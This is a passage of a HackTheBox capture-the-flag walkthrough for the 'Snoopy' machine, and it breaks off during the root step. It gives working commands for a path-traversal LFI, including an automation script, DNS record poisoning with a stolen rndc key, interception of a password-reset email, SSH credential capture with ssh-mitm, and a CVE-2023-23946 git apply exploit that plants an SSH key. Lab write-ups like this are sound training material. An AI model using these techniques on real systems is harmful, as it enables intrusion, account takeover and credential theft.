index-logo

Snoopy - HTB

walkthrough by elswix

Machine: Snoopy
Difficulty: Hard
Platform: HackTheBox
Release: Released on 05/06/2023


About Snoopy


Snoopy is a hard level machine featured on the HackTheBox platform. Initially, our objective entails exploiting a Local File Inclusion vulnerability to extract a key located within the /etc/bind/named.conf file. This key serves as a crucial component, granting us the capability to introduce a DNS Record alteration, consequently directing the "mail.snoopy.htb" subdomain to our designated IP address. This maneuver is akin to a DNS Poisoning attack.

Subsequently, our task involves initiating a password reset request within the "mattermost" subdomain, with the aim of intercepting the email (SMTP Request) that the machine dispatches to the user in the process of resetting their password.


Shell as cbrown


Subsequent to successfully modifying the user's password, we gain entry to the Mattermost platform. Within the chat interface, we possess the capability to execute commands, with one of them appearing to initiate SSH requests to a specified IP address. Our strategic objective is to intercept these requests with the intent of acquiring credentials using the ssh-mitm tool.

Upon effectively intercepting these requests, we are able to extract the credentials belonging to the user cbrown, thereby affording us the privilege to establish an SSH connection to the system.


Shell as sbrown


As cbrown user, we have the capability to execute the git apply -v command as the user sbrown. To elevate privileges to the sbrown user, we exploit a vulnerability associated with git apply. This vulnerability leverages symbolic links, enabling us to overwrite system-level files as another user. By manipulating the ssh keys, we successfully overwrite the authorized_keys file of the sbrown user. As a result, we gain SSH access without the need to provide passwords, thereby achieving unauthorized access.


Shell as root


Once again, operating under the user account sbrown, we possess elevated privileges with sudo capabilities, particularly for executing commands as the root user. The specific command at our disposal is clamscan --debug. Our investigative efforts led us to uncover a vulnerability associated with ClamAV's clamscan utility. This vulnerability enables us to exploit the system's sudo privilege, allowing us to read internal files by crafting malicious DMG files. In doing so, we can gain unauthorized access to sensitive files on the system while operating with root-level permissions.


Recon


Before we begin exploiting the services, we need to understand what we're up against. To do this, we will perform a full port scan (65535) on the target machine, specifically filtering for those that are open.

elswix@kali$ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.212 -oN portScan

Nmap scan report for 10.10.11.212
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
53/tcp open  domain  syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63
Once the port scan is complete, we need to determine which services and technologies are running on these ports. Once again, using the nmap tool, we will conduct a comprehensive service scan.

elswix@kali$ nmap -sCV -p22,53,80 10.10.11.212 -oN fullScan

Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-22 12:45 -03
Nmap scan report for snoopy.htb (10.10.11.212)
Host is up (0.22s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 ee:6b:ce:c5:b6:e3:fa:1b:97:c0:3d:5f:e3:f1:a1:6e (ECDSA)
|_  256 54:59:41:e1:71:9a:1a:87:9c:1e:99:50:59:bf:e5:ba (ED25519)
53/tcp open  domain  ISC BIND 9.18.12-0ubuntu0.22.04.1 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.18.12-0ubuntu0.22.04.1-Ubuntu
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: SnoopySec Bootstrap Template - Index
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.64 seconds
Thanks to the information returned after completing the scan, we can see that there is a web server (HTTP) running, a DNS server on port 53, and an SSH server on port 22.

Using the "whatweb" tool, I will perform a quick reconnaissance of the web service:

elswix@kali$ whatweb -a 3 10.10.11.212
http://10.10.11.212 [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[info@snoopy.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.212], Lightbox, Script, Title[SnoopySec Bootstrap Template - Index], nginx[1.18.0]
We didn't obtain very relevant information, but we did notice a domain snoopy.htb, which we can add to our /etc/hosts file, forcing it to point to the IP address of the target machine.

elswix@kali$ cat /etc/hosts
127.0.0.1   localhost
127.0.1.1   kali.localhost kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

# HackTheBox
10.10.11.212 snoopy.htb


DNS Enumeration


First, we will target the DNS service (hosted on port 53). Specifically, the DNS service uses BIND (as we identified in the comprehensive nmap scan), which is the most commonly used DNS server.

To perform DNS reconnaissance, we have a wide range of tools at our disposal, and in my case, I will use dig.

Name Servers

elswix@kali$ dig @10.10.11.212 snoopy.htb ns

; <<>> DiG 9.18.16-1-Debian <<>> @10.10.11.212 snoopy.htb ns
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6268
;; flags: qr aa rd; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 3
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: e391b0108c16119901000000650db90d23497e59ba04639b (good)
;; QUESTION SECTION:
;snoopy.htb.         IN   NS

;; ANSWER SECTION:
snoopy.htb.     86400   IN   NS   ns1.snoopy.htb.
snoopy.htb.     86400   IN   NS   ns2.snoopy.htb.

;; ADDITIONAL SECTION:
ns1.snoopy.htb.       86400   IN   A    10.0.50.10
ns2.snoopy.htb.       86400   IN   A    10.0.51.10

;; Query time: 144 msec
;; SERVER: 10.10.11.212#53(10.10.11.212) (UDP)
;; WHEN: Fri Sep 22 12:55:34 -03 2023
;; MSG SIZE  rcvd: 135

Zone Transfer

One of the most common attacks against a DNS server is the Zone Transfer attack.

A Zone Transfer attack is a type of attack in which an attacker attempts to obtain a complete copy of the Domain Name System (DNS) database from an authoritative DNS server. If the DNS server is misconfigured or vulnerable, it may respond to the request and provide the attacker with sensitive information about domain names and their corresponding IP addresses. This allows us to discover subdomains and other valuable information.

elswix@kali$ dig @10.10.11.212 snoopy.htb axfr 

; <<>> DiG 9.18.16-1-Debian <<>> @10.10.11.212 snoopy.htb axfr
; (1 server found)
;; global options: +cmd
snoopy.htb.     86400   IN   SOA  ns1.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604800 86400
snoopy.htb.     86400   IN   NS   ns1.snoopy.htb.
snoopy.htb.     86400   IN   NS   ns2.snoopy.htb.
mattermost.snoopy.htb.    86400   IN   A    172.18.0.3
mm.snoopy.htb.        86400   IN   A    127.0.0.1
ns1.snoopy.htb.       86400   IN   A    10.0.50.10
ns2.snoopy.htb.       86400   IN   A    10.0.51.10
postgres.snoopy.htb.  86400   IN   A    172.18.0.2
provisions.snoopy.htb.    86400   IN   A    172.18.0.4
www.snoopy.htb.       86400   IN   A    127.0.0.1
snoopy.htb.     86400   IN   SOA  ns1.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604800 86400
;; Query time: 480 msec
;; SERVER: 10.10.11.212#53(10.10.11.212) (TCP)
;; WHEN: Fri Sep 22 12:59:30 -03 2023
;; XFR size: 11 records (messages 1, bytes 325)
We have successfully executed the attack and obtained sensitive information from the DNS server. We can see that a large number of domain names are returned, but we will only add the subdomain mm.snoopy.htb to our /etc/hosts file since the others are not relevant, at least for now.


Web application


When accessing the web service through the browser, we encountered the following:



While reading the content of the web service, we are informed that we can download a "press release package" or a "recent announcement." It appears that these are files containing information about their product.

Upon downloading the file, we notice that it makes a GET request to the /download section and is a ZIP file named press_release.zip:

elswix@kali$ file press_release.zip
press_release.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
Using the 7z tool, we can inspect the archive:

elswix@kali$ 7z l press_release.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs AMD A8-7600 Radeon R7, 10 Compute Cores 4C+6G   (630F01),ASM,AES-NI)

Scanning the drive for archives:
1 file, 11363570 bytes (11 MiB)

Listing archive: press_release.zip

--
Path = press_release.zip
Type = zip
Physical Size = 11363570

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2023-04-20 17:52:24 .....        30732        26969  announcement.pdf
2023-04-20 17:52:36 .....     11425609     11336349  snoopysec_marketing.mp4
------------------- ----- ------------ ------------  ------------------------
2023-04-20 17:52:36           11456341     11363318  2 files
If we navigate to the "Contact" section, we are notified of the following:



This comment mentions that they are making changes to the DNS records and that their mail server (mailserver) is currently out of service.

We can note that a subdomain mail.snoopy.htb is mentioned here. I will immediately add it to my /etc/hosts file.

However, there's something peculiar here. If we recall the Zone Transfer attack, this subdomain was not returned in the response of the attack. It seems that this subdomain is not listed in the DNS records. This could be a crucial piece of information for us to proceed further on the machine.


mm.snoopy.htb


Before continuing to investigate the main page, I will navigate to the subdomain mm.snoopy.htb. When the page loads, we can see that Mattermost is being used.

Mattermost is an open-source enterprise communication platform that provides instant messaging, team collaboration, and chat tools similar to Slack. It enables organizations to create their own private and secure chat servers to facilitate internal communication, collaboration, and project management.



If we click on the "View in Browser" link, it allows us to access an authentication panel:



One of the first things to try on an authentication panel is to check if the service running behind it (in this case, Mattermost) defines default credentials during installation. In this case, I couldn't find much information online, so I assumed there are no default credentials.

We also have an option to attempt to recover the password. In my case, since I don't have any known credentials, I tried entering random data:



It appears that behind the scenes, there is some SMTP request being made, as it mentions that if the account exists, an email will be sent to the email address you provided.


LFI


Setting this aside, if we click on the second download link on the main webpage, something immediately catches our attention:



It appears that the /download section allows specifying a parameter via the GET method called file. This parameter seems to be pointing to a file on the system, which means we could attempt to read system files, i.e., perform an LFI (Local File Inclusion) if it's not sanitized.

To inspect this more comfortably, I will use the Burp Suite tool to analyze the requests.



If we are correct, we could attempt to target a system file. The idea is that through the Directory Path Traversal technique, we can try to navigate through the system directories to reach the root and attempt to access files like /etc/passwd



When sending the request, the web server does not return anything, so it's possible that it's sanitized. However, it might only be removing the ../ Path Traversal. Therefore, we can try using a payload like the following:

GET /download?file=....//....//....//....//....//....//etc/passwd
When the server removes the ../, it will remove it only once, so once it's removed, it will look like this:

GET /download?file=../../../../../../etc/passwd
Allowing us, as a result, to access the system-level file.



This time, when we send the request, the server returns information. However, the problem is that it's in an unreadable format. This could be because the server is returning the information in a zip format, perhaps converting the file we specify in the file parameter into a compressed format.

elswix@kali$ curl -s "http://snoopy.htb/download?file=....//....//....//....//....//....//etc/passwd" -o file.zip
Upon sending the request, the file.zip is created in our current working directory as we specified. When checking the file type of file.zip, we can confirm that it is indeed a compressed file.

elswix@kali$ file file.zip
file.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
If we list the contents of the compressed file, we can see that we were correct, and the server compresses any file specified by the file parameter

elswix@kali$ 7z l file.zip


Listing archive: file.zip

--
Path = file.zip
Type = zip
Physical Size = 796

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2023-04-25 19:38:58 .....         1805          650  press_package/etc/passwd
------------------- ----- ------------ ------------  ------------------------
2023-04-25 19:38:58               1805          650  1 files
We decompress the file and attempt to display the contents of the passwd file:

elswix@kali$ cat press_package/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
cbrown:x:1000:1000:Charlie Brown:/home/cbrown:/bin/bash
sbrown:x:1001:1001:Sally Brown:/home/sbrown:/bin/bash
clamav:x:1002:1003::/home/clamav:/usr/sbin/nologin
lpelt:x:1003:1004::/home/lpelt:/bin/bash
cschultz:x:1004:1005:Charles Schultz:/home/cschultz:/bin/bash
vgray:x:1005:1006:Violet Gray:/home/vgray:/bin/bash
bind:x:108:113::/var/cache/bind:/usr/sbin/nologin
_laurel:x:999:998::/var/log/laurel:/bin/false
We have successfully accessed system files, so we are exploiting a Local File Inclusion (LFI) vulnerability by abusing the Directory Path Traversal technique.

Creating a Python script to automate this process is a good idea, as manually listing files can be cumbersome.

#!/bin/bash 

from subprocess import call 
import requests, sys


# Global 
fileUrl = "http://snoopy.htb/download?file=" 


def getFile(fileName):

    getFileUrl = fileUrl + "....//....//....//....//....//..../" + fileName 
    resp = requests.get(getFileUrl) 

    with open("temp.zip", "wb") as f:
        f.write(resp.content)



def readFile(fileName):

    command = call("unzip temp.zip", shell=True)

    f = open(f"press_package{fileName}", "r")
    print(f.read())



def removeTempFiles():

    remove = call("rm -rf temp.zip", shell=True)
    remove = call("rm -rf press_package", shell=True)


def main():

    fileName = sys.argv[1]
    getFile(fileName)
    readFile(fileName)
    removeTempFiles()



if __name__ == '__main__':

    main()
We execute the script to verify that it works:

elswix@kali$ python3 lfi.py /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
cbrown:x:1000:1000:Charlie Brown:/home/cbrown:/bin/bash
sbrown:x:1001:1001:Sally Brown:/home/sbrown:/bin/bash
clamav:x:1002:1003::/home/clamav:/usr/sbin/nologin
lpelt:x:1003:1004::/home/lpelt:/bin/bash
cschultz:x:1004:1005:Charles Schultz:/home/cschultz:/bin/bash
vgray:x:1005:1006:Violet Gray:/home/vgray:/bin/bash
bind:x:108:113::/var/cache/bind:/usr/sbin/nologin
_laurel:x:999:998::/var/log/laurel:/bin/false
Now, in an automated fashion, we can access files on the victim machine's system.

After conducting extensive research within the system, it occurred to me to start listing files related to the DNS service on the system. Considering what we've observed, they were making changes to the DNS records, and the specific service they are using is BIND.

We attempt to access the file /etc/bind/named.conf:

elswix@kali$ python3 lfi.py /etc/bind/named.conf
// This is the primary configuration file for the BIND DNS server named.
//
// Please read /usr/share/doc/bind9/README.Debian.gz for information on the 
// structure of BIND configuration files in Debian, *BEFORE* you customize 
// this configuration file.
//
// If you are just adding zones, please do that in /etc/bind/named.conf.local

include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";

key "rndc-key" {
    algorithm hmac-sha256;
    secret "BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=";
};
We obtained highly relevant information, as with this information, we can change the DNS Zone:

key "rndc-key" {
    algorithm hmac-sha256;
    secret "BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=";
};
Using the nsupdate tool and the information we obtained, we can attempt to alter the DNS Zone. First, I stored the key in a file named key, and then I executed the following command:

elswix@kali$ nsupdate -k key
>
It appears that the key worked, so we can begin to change DNS records. To understand what we will attempt to do, we need to know what a DNS record is.

In brief, a DNS (Domain Name System) record is an entry in a database that associates a domain name (such as example.com) with an IP address.


DNS Record


Our goal is to alter a DNS record to make the subdomain mail.snoopy.htb point to our IP address because on our machine, we will run an SMTP server to see what information is transmitted behind the scenes.

Why are we doing this? As we recall, on the mm.snoopy.htb subdomain, there was an option to reset the password.

When you entered an email address and submitted the request, it appears that the server behind the scenes sent an email to the entered email address to reset the password.

As we were informed that the mailserver (the mail server associated with the mail.snoopy.htb subdomain) was out of service, we can attempt to "hijack" the request or email that will be sent to the email address we enter in order to attempt a password reset for a valid user. We will achieve all of this by changing the DNS records, forcing the mail.snoopy.htb subdomain to point to our attacker IP.

To obtain a valid user, it occurred to me to use a system-level username. In my case, I chose the username sbrown.

First, we add the DNS record:

elswix@kali$ nsupdate -k key
> server 10.10.11.212
> zone snoopy.htb
> update ADD mail.snoopy.htb 50 IN A 10.10.16.3
> send
We set up the SMTP server:

elswix@kali$ /usr/lib/python3.11/smtpd.py -n -d -c DebuggingServer 10.10.16.3:25
/usr/lib/python3.11/smtpd.py:96: DeprecationWarning: The asyncore module is deprecated and will be removed in Python 3.12. The recommended replacement is asyncio
  import asyncore
/usr/lib/python3.11/smtpd.py:97: DeprecationWarning: The asynchat module is deprecated and will be removed in Python 3.12. The recommended replacement is asyncio
  import asynchat
DebuggingServer started at Sat Sep 23 09:33:53 2023
    Local addr: ('10.10.16.3', 25)
    Remote addr:('localhost', 25)
We send the password reset request on the mm.snoopy.htb subdomain:



We receive the following on our SMTP server:

---------- MESSAGE FOLLOWS ----------
mail options: ['BODY=8BITMIME']
b'MIME-Version: 1.0'
b'Precedence: bulk'
b'From: "No-Reply" <no-reply@snoopy.htb>'
b'To: @sbrown@snoopy.htb'
b'Content-Transfer-Encoding: 8bit'
b'Date: Sat, 23 Sep 2023 12:37:24 +0000'
b'Auto-Submitted: auto-generated'
b'Message-ID: <orjog63jin8qgezk-1695472644@mm.snoopy.htb>'
b'Subject: [Mattermost] Reset your password'
b'Reply-To: "No-Reply" <no-reply@snoopy.htb>'
b'Content-Type: multipart/alternative;'
b' boundary=b9c1deb3e3fb199a334a6ae1e70c303b066764691ac36797cd0d7ca0f7c9'
b'X-Peer: 10.10.11.212'
b''
b'--b9c1deb3e3fb199a334a6ae1e70c303b066764691ac36797cd0d7ca0f7c9'
b'Content-Transfer-Encoding: quoted-printable'
b'Content-Type: text/plain; charset=UTF-8'
b''
b'Reset Your Password'
b'Click the button below to reset your password. If you didn=E2=80=99t reques='
b't this, you can safely ignore this email.'
b''
b'Reset Password ( http://mm.snoopy.htb/reset_password_complete?token=3Dm3xfp='
b'194gnkpffxuumgj1ypj56rshjmsoxmroipshj4orj5umdyx6wdr4rb1tjty )'
b''
b'The password reset link expires in 24 hours.'
............
............
............
We have successfully "hijacked" the request by altering the DNS records, and now we can attempt to change the password for the user sbrown using the link provided with a token.

We adapt the format of the link by removing the URL-encoded characters:

http://mm.snoopy.htb/reset_password_complete?token=m3xfp194gnkpffxuumgj1ypj56rshjmsoxmroipshj4orj5umdyx6wdr4rb1tjty
We check if it allows us to change the password for the user sbrown by accessing the link:



We successfully changed the password for the user sbrown, and we can now try testing the credentials on the authentication panel.


Shell as cbrown


After entering the credentials we obtained, we successfully access the Mattermost chat:



If we enter a /, we are shown a list of what appears to be commands that we can execute:



Reading through all the commands, one command catches my attention, which doesn't have a description:



When executing the server_provision command, a window is displayed that allows us to enter certain data:



I tried entering specific data to see what would happen:



After sending this data, the user cbrown sent me a private message with the following:



The user cbrown is asking if the machine is online, and this is likely because they are trying to make a request to my IP on port 2222, as we specified in the form.

Another option, apart from port 2222, is port 5985, which is associated with the Windows WinRM service, but in this case, it is disabled.

It seems that the victim machine, because we specified Linux - TCP/2222 and my attacker IP 10.10.16.3, is attempting SSH requests to my machine on port 2222.

We can try to capture the SSH request that the victim machine is making using the ssh-mitm tool.

First, we set up an ssh-mitm server on port 2222, specifying the IP of the victim machine:

elswix@kali$ ssh-mitm server --remote-host 10.10.11.212 --listen-port 2222
─────────────────────────────────────────────── SSH-MITM - ssh audits made simple ───────────────────────────────────────────────
Version: 4.0.0
License: GNU General Public License v3.0
Documentation: https://docs.ssh-mitm.at
Issues: https://github.com/ssh-mitm/ssh-mitm/issues
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
generated temporary RSAKey key with 2048 bit length and fingerprints:
   MD5:c1:13:7b:cc:ee:5b:a6:48:6e:a6:cd:d0:d5:98:4e:c6
   SHA256:VK/dOzKM0OHr3+S77Xm1i+fISImnqYPL3bgmEMR6Tgw
   SHA512:m5gQ+BPlhzceeJ057S6wJLNXfyFK/2ALxWMEn65K3Sq54St9m8iPdmAIIZ3qldDlqLJKFsJdA3QodyfjzKIlHQ
listen interfaces 0.0.0.0 and :: on port 2222
──────────────────────────────────────────────────── waiting for connections ────────────────────────────────────────────────────
We send the request again, filling in the appropriate data in the form displayed when executing the /server_provision command:



We receive the request on our server and successfully filter credentials belonging to the user cbrown:



cbrown:sn00pedcr3dential!!!
Next, we will verify if these credentials belong to the user cbrown at the system level on the victim machine. We will try connecting through the SSH service:

elswix@kali$ ssh cbrown@10.10.11.212
The authenticity of host '10.10.11.212 (10.10.11.212)' can't be established.
ED25519 key fingerprint is SHA256:XCYXaxdk/Kqjbrpe8gktW9N6/6egnc+Dy9V6SiBp4XY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.212' (ED25519) to the list of known hosts.
cbrown@10.10.11.212's password: 
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-71-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

cbrown@snoopy:~$
We successfully access the system as the user cbrown.


Shell as sbrown


Performing a basic enumeration with the user cbrown, when listing the sudo privileges, we observe the following:

cbrown@snoopy:~$ sudo -l
[sudo] password for cbrown: 
Matching Defaults entries for cbrown on snoopy:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass

User cbrown may run the following commands on snoopy:
    (sbrown) PASSWD: /usr/bin/git ^apply -v [a-zA-Z0-9.]+$
cbrown@snoopy:~$
We have the privilege to execute git apply -v on any file.

If we attempt to search for .git files on the system, we notice that there are none, at least that we can access as the user cbrown.

cbrown@snoopy:~$ find / -name "*.git" 2>/dev/null
cbrown@snoopy:~$
If we list the version of git, it shows us that it's 2.34.1.

cbrown@snoopy:~$ git --version
git version 2.34.1
cbrown@snoopy:~$
Searching a bit on the internet, I found a security advisory for git.

Additionally, I came across an article that explains two vulnerabilities in git, including the one we are interested in, CVE-2023-23946.


CVE-2023-23946


Git allows for applying arbitrary patches to your repository’s history with git apply. In order to prevent malicious patches from creating files outside of the working copy, git apply rejects patches which attempt to write a file beyond a symbolic link.

However, this mechanism can be tricked when the malicious patch creates that symbolic link in the first place. This can be leveraged to write arbitrary files on a victim’s filesystem when applying malicious patches from untrusted sources.

It appears that the vulnerability may allow us to create files through patch application by abusing symbolic links. In this commit, you can see how the vulnerability works.

Inspecting the commit further, we can see in t/t4115-apply-symlink.sh how it could potentially be exploited:



This theoretically shouldn't work anymore, but since the vulnerability applies to the version of git present on the machine, we can try it.

My idea is that if I can overwrite files as the user who runs the git program, which in our case is sbrown (as we execute it with sudo), I could try to modify the authorized_keys file to host my SSH public key and then connect without providing a password as the sbrown user.

First, I will navigate to the home directory of the cbrown user and create a directory where I will initialize a git repository:

cbrown@snoopy:~$ mkdir repo
cbrown@snoopy:~$ cd !$
cd repo
cbrown@snoopy:~/repo$ git init
hint: Using 'master' as the name for the initial branch. This default branch name
hint: is subject to change. To configure the initial branch name to use in all
hint: of your new repositories, which will suppress this warning, call:
hint: 
hint:     git config --global init.defaultBranch <name>
hint: 
hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
hint: 'development'. The just-created branch can be renamed via this command:
hint: 
hint:     git branch -m <name>
Initialized empty Git repository in /home/cbrown/repo/.git/
cbrown@snoopy:~/repo$
Now, what I'll do is create a patch file with the following content:

cbrown@snoopy:~/repo$ cat patch
diff --git a/symlink b/renamed-symlink
similarity index 100%
rename from symlink
rename to renamed-symlink
--
diff --git /dev/null b/renamed-symlink/create-me
new file mode 100644
index 0000000..039727e
--- /dev/null
+++ b/renamed-symlink/authorized_keys
@@ -0,0 +1,1 @@
+ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCa6hDzoA45r9L4AJpWuoavTDD7Cu2m2eh9Q+ux+BlvbhjaXXlaVtsmRywUCkiTUhfaIR7KdxY6QTlf8dMNBQA54xmjwjC0YFVTy50keR6VIvO8SCMt2g/icoAn0yN4LbSNphTuz8AXwEaHH/DyCezQiAp9PecYmLcFDqnPnLb43bIzzsvXGbDPCWeJPfcotaIubwZkqjwOaKZu8pXZa66wXnFrttD8MC8d+l9gI3zRwOyds6msJdzPOXDaEPoly1is6i8w5/AkmLDkyg2aVxZS4RpOg3DnzGnAZ7yAtzI1DXbfC3zWwVVDLhtDCF8TdR4zqWG287mljXrtDWKUN1dB/H8gUF8tti7EuYigevMXOCRtZFGUJb7VlzqNzM9b9AQLzmuBviT7VtC/Uip9k+QN5v9RHT/xph6riM2XGCb4dLxbXRj6BorMoLAVKduzg9Ys2lL46aPaUEWtmmkDAa673kB8idiR3EXuxZGfDM2kDR6p6o590wsfO0h9LfotnyE= elswix@kali
cbrown@snoopy:~/repo$
As we can see, I used what was shown in t/t4115-apply-symlink.sh and replaced the string busted with my SSH public key.

Remember that this will work through the use of symbolic links, so we first need to create a symbolic link with the name symlink and make it point to the path where we want to overwrite the authorized_keys file (as indicated in the line +++ b/renamed-symlink/authorized_keys), which in our case is /home/sbrown/.ssh.

cbrown@snoopy:~/repo$ ln -s /home/sbrown/.ssh symlink
cbrown@snoopy:~/repo$ ls -l
total 4
-rw-rw-r-- 1 cbrown cbrown 831 Sep 23 16:07 patch
lrwxrwxrwx 1 cbrown cbrown  17 Sep 23 16:10 symlink -> /home/sbrown/.ssh
cbrown@snoopy:~/repo$
Supposedly, now when we execute the git apply -v command on the patch file as the sbrown user, the changes will be applied through the symlink, and since it points to the directory /home/sbrown/.ssh, the authorized_keys file will be overwritten in that path.

Let's not forget to give write privileges to all users on our Repo directory and our user's home directory since we will run the command as sbrown, and it will make changes in our directory.

cbrown@snoopy:~/repo$ chmod 777 -R .
cbrown@snoopy:~/repo$ chmod 777 -R /home/cbrown/
Finally, we execute the command as the sbrown user:

cbrown@snoopy:~/repo$ sudo -u sbrown /usr/bin/git apply -v patch
Checking patch symlink => renamed-symlink...
Checking patch renamed-symlink/create-me...
Applied patch symlink => renamed-symlink cleanly.
Applied patch renamed-symlink/create-me cleanly.
cbrown@snoopy:~/repo$
Now, if I try to connect from my attacker machine to the sbrown user via SSH, it should not ask for a password since the authorized_keys file contains the SSH public key of my user.

elswix@kali$ ssh sbrown@10.10.11.212
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-71-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

sbrown@snoopy:~$ whoami 
sbrown
sbrown@snoopy:~$ cat user.txt 
1b1358247bf3849430f5ab2e70893de3
sbrown@snoopy:~$


Shell as root


Once we have accessed as sbrown, again listing their sudo privileges, we find the following:

sbrown@snoopy:~$ sudo -l
Matching Defaults entries for sbrown on snoopy:
